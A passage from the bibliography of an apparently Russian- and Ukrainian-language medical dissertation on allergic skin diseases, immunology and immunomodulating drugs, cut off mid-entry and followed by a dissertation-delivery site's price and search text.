    34. Дифференциальная диагностика кожных болезней /Под ред Б.А.Бе­рен­бейна, А.А.Студницина. М.:Медицина, 1989. 672 с.
    35. Добрица В.П., Ботерашвили Н.М., Добрица Е.В. Современные имму­но­­­модуляторы для клинического применения: Руководство для врачей. СПб: Политехника, 2001. 251 с.
    36. Дранник Г.Н. Иммунотропные препараты: классификация и при­ме­­не­ние // Харьковский мед. журн. - 1997. - № 1. - С. 69-73.
    37. Дранник Г.Н. Клиническая иммунология и аллергология.- К.:Изд-во ООО „Полиграф плюс”, 2006. - 482 с.
    38. Ершов Ф.И., Малиновская В.В. Иммуномодуляторы в профилактике и терапии вирусных инфекций // Журнал микробиол.- 1996. - № 3. - С.122-125.
    39. Ершов Ф.И. Система интерферона в норме и при патологии. М.: Ме­ди­цина, 1996. 292 с.
    40. Ершов Ф.И. Медицинская значимость интерферонов и их индук­то­ров //Вестн. Российской АМН. - 2004. - № 2. - С.9-13.
    41. Ершов Ф.И., Киселев О.И. Интерфероны и их индукторы (от молекул до лекарств). М.:ГЭОТАР-Медиа, 2005. 368 с.
    42. Ершов Ф.И. Антивирусные препараты. 2-е изд.- М.:ГЭОТАРМедиа, 2006. 312 с.
    43. Живаго С.Б., Тимошок О.І. Алергійний контактний дерматит, як реак­ція на розчин етанолу // Український журнал дерматології, венерології, кос­ме­­тології. 2006. - № 1. С. 37-39.
    44. Журавлева Н.В., Родосская Н.К. Иммунодефициты и ест­ест­вен­ное ин­ги­бирование активности макромолекулярных антител.- Воронеж: Изд-во ВГУ, 1988.- 96 с.
    45. Звиняцковский Я.И., Бердник О.В. Факторы риска и здоровье на­се­ле­­ния, проживающего в различных условиях окружающей среды // Довкілля та здоров'я. - 1996. - № 1. С. 8-11.
    46. Земсков А.М., Караулов А.В., Земсков В.М. Комбинированная имму­но­коррекция. М.:Наука, 1994. 260 с.
    47. Змушко Е.И., Митин Ю.А., Кацалуха В.В. Цитокинини­дуци­ру­ю­щая и противовирусная активность циклоферона при экспериментальной гер­пе­ти­­­че­ской инфекции // ЖМЭИ. - 2003. - № 4. - С. 105-107.
    48. Иванова В. В., Эффективность виферона в комплексном лече­нии ин­фек­­ционных болезней у детей // Рос. вестн. перинатологии и пе­диат­рии, 2000. - № 2. - С.49-54.
    49. Ильина Н.И., Латышева Т.В., Пинегин Б.В. Синдром вторичной им­мун­ной недостаточности (протоколы диагностики и лечения) // Иммуно­ло­гия. - 2000. - № 5. - С. 8-12.
    50. Иммунодиагностика и иммунокоррекция в клинической практике/ Под ред. И.Д.Столярова. СПб.:Сотис, 2000. 176 с.
    51. Иммунологические методы/ Под ред. Г. Фримеля: Пер. с нем. М: Медицина, 1987. - 472 с.
    52. Интерфероногены: перспективы клинического применения: руко­вод­­ст­во для врачей / Под ред. М.Г. Романцова. - М.: СПб., 1998. - 38с.
    53. Использование реакции ингибирования активности антител (РИА) в кли­­нической практике для диагностики вторичных иммунодефицитов: Ме­то­дич. рекомендации / В.М.Фролов, Н.В.Журавлева, Н.А.Пересадин и др. - М., 1991. 15 с.
    54. Іванов С.В. Особливості периферичної гемодинаміки у хворих на алер­го­­дерматози на тлі серцево-судинної патології // Український журнал дерма­то­логії, венерології, косметології. 2005.- № 2. С. 25-29.
    55. Казмирчук В.Е. Иммунные нарушения при аллергических дерматозах // Дерматология и венерология. 2001. - № 3. С.21-27.
    56. Казмірчук В.Е., Мальцев Д.М. Роль цитокінів у виявленні функ­ціо­на­ль­них порушень імунітету // Ліки України. 2004. - № 2. С. 15-18.
    57. Калюжная Л.Д. Аллергодерматозы // Doctor.- 2003. - № 6.- С.22-24.
    58. Калюжная Л.Д., Гавриленко Т.И., Стоянова О.В. Состояние провос­па­­лительных цитокинов и С-реактивного белка у больных с различными про­явлениями аутоиммунных реакций // Український журнал дерматології, венеро­ло­гія, косметології. 2005. - № 3. С. 15-18.
    59. Карпова О.И. Амизон новый отечественный ненаркотический ана­ль­­ге­тик // Проблемы медицины. - 1998. - № 3. - С. 5-7.
    60. Керамива М.Г., Суханов Б.П. Роль питания в профилактике и дието­те­ра­пии заболеваний кожи // Вопросы питання. 2002. - № 1. С.53-57.
    61. Керимова А.С., Кубанова А.А. Кузнецов В.П. Лейкинферон в лечение атопического дерматита // Вестник дерматологии и венерологии. 1991. - № 6 С.8-11.
    62. Кетлинский С.А. Роль Т-хелперов типов 1 и 2 в регуляции кле­точ­но­го и гуморального иммунитета // Иммунология. - 2002. - № 2. - С.77-79.
    63. Кетлинский С.А., Калинина Н.М. Иммунология для врача. - СПб.: Гиппократ, 1998. 156 с.
    64. Киселева Е.П., Цвейбах А.С., Гольдман Е.И., Пигарева Н.В. Ис­по­ль­зование микрометода для бласттрансформации лимфоцитов человека и жи­вотных // Иммунология. - 1985. - № 1. - С.76-78.
    65. Клиническая иммунология. Руководство для врачей / Под ред. Е.И. Соколова. - М.: Медицина, 1998. - 272 с.
    66. Клиническая алергология: Рук-во для практических врачей /Под ред. Акад. РАМН Р.М.Хаитова М.:МеДпресс-информ, 2002. 624 с.
    67. Клиническая иммунология /Под ред.А В.Караулова. - М.:МИА, 2000.- 623 с.
    68. Клиническая иммунология и аллергология. В 3-х томах. Т.1: Пер. с нем. / Под ред. Л.Йегера. 3-е изд. - М.: Медицина, 1999. - 528 с.
    69. Коваленко Ю.Б., Дюдюн А.Д. Микроциркуляция и ответные иммун­ные реакции кожи у больных микробной экземой // V съезд дерматологов УССР: Тез. Докл.- Харьков, 1986. С.57.
    70. Ковальчук Л.В., Ганковская Л.В. Иммуноцитокины и локальная им­­му­нокоррекция // Иммунология. - 1995. - № 1. - С.4-7.
    71. Ковальчук Л.В., Ганковская Л.В., Хорева М. В., Соколова Е. В. Сис­тема цитокинов, комплемента и современные методы иммунного анализа. - М.:Медицина, 2001. - 158 с.
    72. Ковнеристый А.Е. Патогенетическое значение нарушений функцио­на­ль­­ного состояния сосудов кожи при хронической экземе // Журн. дерматол. и ве­нерол. 1998. - № 1 (5). С.34-36.
    73. Коган Б.Г., Терлецкий В.Б., Терлецкий Р.В. Современная терапия ал­лер­гических дерматозов // Український журнал дерматології, венерології, кос­­метології. 2005. - № 3. С. 22-24.
    74. Коган Б.Г.Діагностика і терапія розацеа, демодикозу, дерматиту пе­ро­рального з урахуванням спільних чинників виникнення, патогенезу та особ­­ливостей клінічного перебігу дерматозів: Автореф. дис. ... канд.. мед. на­ук. К., 2006. 24 с.
    75. Коляденко В.Г. Клиническая эффективность дезлоратадина при ле­че­нии хронической крапивницы // Український журнал дерматології, вене­ро­ло­гії, косметології. 2002. - № 3. С. 50-53.
    76. Кормейн Р.Х., Асгар С.С. Иммунология и болезни кожи (Пер. с англ.). М.: Медицина, 1993. 255с.
    77. Коростовцев Д.С. Дезлоратадин (эриус) новый неседативный анти­гис­таминный препарат (высокоселективный антагонист Н1-рецепторов) // Алергология. 2003. - № 1. С.44-50.
    78. Лоскутова І.В., Ціпоренко С. Ю. Ефективність ліволіну в профілактиці розвитку рецидивів алергодерматозів у хворих на хронічний нека­ль­ку­льоз­ний холецистит // Україн­сь­кий медичний альманах. 2006. Т.9, № 5. С. 91-93
    79. Косарев В.В., Жестков А.В. Диагностика и прогнозирование те­че­ния про­фес­сиональных заболеваний легких с помощью иммунологических ме­­то­дов // Иммунология. - 1999. - № 6. - С.54-56.
    80. Костюшов В.В., Гоцуляк О.Л., Мандриевская Н.М. Концепция нару­ше­ния адаптации по стабильности тиолзависимого механизма струк­тур­но-функционального состояния белков сыворотки крови при аллерго­дерматозах // Дерматологія та венерологія. 2001. - № 1 (11). С. 10-14.
    81. Кравец Е.В. Наружная терапия кремом «Элидел» кожных проявлений ал­лергодерматозов у детей // Современная педиатрия. 2006. - № 2 (11). С.53-56.
    82. Кресюн В.Й., Рожковський Я.В. Біологічні ефекти інтерлейкіну-1 та його вплив на захисні реакції організму // Одеський медичний журнал. 2003. - № 2 (76). С. 92-95.
    83. Кулага В.В., Романенко И.М. Аллергические заболевания кожи. К.:Здоров`я, 1997. 255 с.
    84. Кунгуров Н.В., Матусевич С.Л., Гольцов С.В. Сравнительная ха­рак­те­ристика иммунологических показателей у больных распростра­нен­ным псо­риа­зом при наличии у них клинических признаков иммунодефицитного сос­тоя­ния // Вестн. дерматологии и венерологии. 2002. - № 2. С. 33-36.
    85. Курдина М.И. Опыт применения афлодерма на лице у больных раз­лич­­ными дерматозами // Российский журнал кожных и венерических болез­ней // 2003. - № 3. С. 41-44.
    86. Кутасевич Я.Ф., Маштакова И.А. Новые возможности в наружной те­ра­­пии хронических дерматозов // Український журнал дерматології, вене­ро­ло­гії, косметології. 2003. - № 3. С. 15-17.
    87. Кутасевич Я.Ф., Олейник И.А., Маштакова И.А. Препарат нейро­ви­тан в лечении пациентов с заболеваниями кожи // Дерматологія та венеро­ло­гія. 2003. - № 4 (22). С. 14-16.
    88. Куценко И.В. Роль антропогенних факторов в развитии аллергодер­ма­тозов у рабочих промышленных предприятий // Дерматологія та венеро­ло­гія. 2004. - № 1 (23). С. 41-43.
    89. Лапач С.Н., Чубенко А.В., Бабич П.Н. Статистические методы в ме­дико-био­логических исследованиях с использованием Excel. К.:Морион, 2000. 320 с.
    90. Лебедев К.А., Понякина И.Д. Нормативы параметров иммунной сис­­темы при инфекционных воспалительных заболеваниях отличаются от им­му­но­логических показателей здорового человека // Медицинская им­му­нол. - 2002. Т.4, № 3. - С.483-489.
    91. Литинська Т.О. Значення харчової не переносності в лікуванні хро­ніч­них дерматозів // Український журнал дерматології, венерології, кос­ме­то­ло­гії. 2005. - № 3. С. 179-180.
    92. Литинська Т.О. Лікування хворих на хронічні дерматози з ураху­ван­ням патології гепатобіліарної системи // Український журнал дерматології, ве­не­ро­логії, косметології. 2006. - № 3. С. 24-27.
    93. Лусс Л.В. Аллергические и псевдоаллергические реакции на медикаменты // Рос. медиц. журн. 1999. - № 1. С. 59-63.
    94. Лусс Л.В., Бхардварж Л.А., Бхардварж А., Пучкова Н.Г., Некрасов А.В. Роль иммунокоррекции в клинической практике // Int. J. Immunorehab. 2000. - Vol. 2, № 1. - С. 138-145.
    95. Ляшенко Ю.И., Трихлеб В.И. Циркулирующие иммунные ком­плек­сы при инфекционных заболеваниях // Советская медицина. - 1985. - № 1. - С.27-31.
    96. Мавров И.И., Волкославская В.Н. Гутнев А.Л. Влияние антропо­ген­ных загрязнителей на уровень заболеваемости аллергодерматозами в вос­точ­ном и западном регионах Украины // Дерматологія та венеро­ло­гія. 2003. - № 2 (20). С. 3-6.
    97. Мавров И.И., Каруна Б.И. Микроциркуляция при дерматозах. К.:Здо­ро­в`я, 1985. С.30-37.
    98. Мавров И.И., Савенкова В.В. Особенности патогенеза и терапии боль­ных аллергодерматозами, жителей промышленных регионов // Doctor. 2003. - № 2.- С. 15-17.
    99. Мацідонська І.В. Корекція імунного статусу у хворих на алергічний контактний дерматит // Дерматологія та венерологія. 2005. - № 2 (28). С.43-48.
    100. Машковский М.Д. Лекарственные средства. Харьков: Торсинг, 1997. 13-е изд., новое. - Т. 2. - 456 с.
    101. Метеліцина І.П., Панько О.М. Вивчення антиоксидантної актив­нос­ті нового вітчизняного препарату ербісол // Фармакологічний вісник. 1998. - № 5. С. 75-78.
    102. Моисеев С.В. Лекарственная гепатотоксичность // Клиническая фар­макология. 2005. - № 1 (14). С.1-4.
    103. Мчедлишвили Г.И. Микроциркуляция крови. Л.:Наука, 1989. С.68-82.
    104. Мюллер В.Д., Йегер Л. Т-клетки как мишени иммуномодуляции: но­вая стратегия в терапии аллергии // Пат. физиология. 2000. - № 1. С.14-16.
    105. Насонов Е.Л. Современные направления иммунологических ис­сле­до­­ваний при воспалительных и аутоиммунных заболеваниях человека // Тера­певт. журн. - 2001. - № 8. - С.43-46.
    106. Нейко Є.М., Островська О.М., Вацик М.М. Головні принципи ви­користання імуномодулюючої терапії // Галицький лікарський вісник. - 2002. - Т.9, № 1. - С. 139-143.
    107. Несвітайлова К.В., Квашина Л.В. Диференціація рівня здоров'я та адап­таційних можливостей здорових дітей на основі виділення фізіологічних типів іму­норезистентності // Педіатрія акушерство та гінекологія. - 2003. - № 1. - С. 12-16.
    108. Несмеянов В.А. Цитокины иммунной системы. Белки и пептиды. М.: Наука, 1995. - 126 с.
    109. Нестерова И.В. Программы иммунореабилитации больных вторич­ным иммунодефицитом // Іпt. J. Immunorehab. - 1998. - № 9. - С. 40-45.
    110. Николаенко А.Н. Концептуальные подходы к разработке высокоэф­фек­тивных лекарственных препаратов нового поколения класса «Эрбисол» //Фар­макологічний вісник. 1998. - № 6. - С. 69-74.
    111. Никулин Н.К. Опыт применения кестина при аллергических дерма­то­зах // Российс
  • Стоимость доставки:
  • 150.00 грн


ПОИСК ДИССЕРТАЦИИ, АВТОРЕФЕРАТА ИЛИ СТАТЬИ


Доставка любой диссертации из России и Украины